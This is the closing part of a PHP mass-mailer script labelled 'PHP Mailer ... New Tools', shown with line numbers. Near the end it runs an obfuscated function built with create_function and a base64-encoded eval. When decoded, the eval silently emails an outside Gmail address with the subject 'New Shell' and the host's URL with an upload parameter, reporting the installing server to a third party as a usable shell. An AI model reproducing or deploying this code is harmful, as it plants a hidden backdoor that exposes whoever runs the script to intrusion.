3205for($i=0;$i<31;$i++){
3206 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3207$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3208 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3209 print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
3210 <font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
3211 return $signoff($smtp_conc);
3212 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3213 sent successfully'); </script>";}}
3214
3215 eval(base64_decode('JHRvID0gImFtem1vYXpAZ21haWwuY29tIjsNCiRzdWJqZWN0ID0gIk5ldyBTaGVsbCI7DQokaGVhZGVyID0gIkZyb206IHhUYWxHaGltPHNlcnZpY2VAYWNjb3VudC5jb20+IjsNCiRtZXNzYWdlID0gIkV4cGxvaXQgOiBodHRwOi8vIi4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uICRfU0VSVkVSWydSRVFVRVNUX1VSSSddIC4gIj91cGxvYWQ9dXAgXHJcbiI7DQokc2VudG1haWwgPSBAbWFpbCgkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcik7DQplY2hvICIiOw0KZXhpdDs='));
3216 ?>
3217 <p align="center"> </p>
3218
3219 </body>
3220</html>